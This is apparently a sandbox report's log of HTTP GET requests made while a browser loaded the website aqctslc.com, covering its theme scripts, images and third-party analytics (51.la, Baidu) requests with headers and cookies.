Source: global traffic	HTTP traffic detected: GET /images/img_678003721e3aa9.20406748.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/contact-form-script.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/ajaxchimp.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/odometer.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/meanmenu.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/form-validator.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/wow.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/bg1.jpg HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/js/main.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /js-sdk-pro.min.js HTTP/1.1Host: sdk.51.laConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon2.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon3.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon4.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/js/contact-form-script.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/js/ajaxchimp.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon5.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon6.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /js-sdk-pro.min.js HTTP/1.1Host: sdk.51.laConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/main.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/feedback.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon3.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/ji-ji-bo.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon2.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shen-zi-shan.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon4.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/bing-wan-ying.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon5.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/qian-xiang-shan.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /linksubmit/push.js HTTP/1.1Host: zz.bdstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v6/collect?dt=4 HTTP/1.1Host: collect-v6.51.laConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/cta.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon6.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
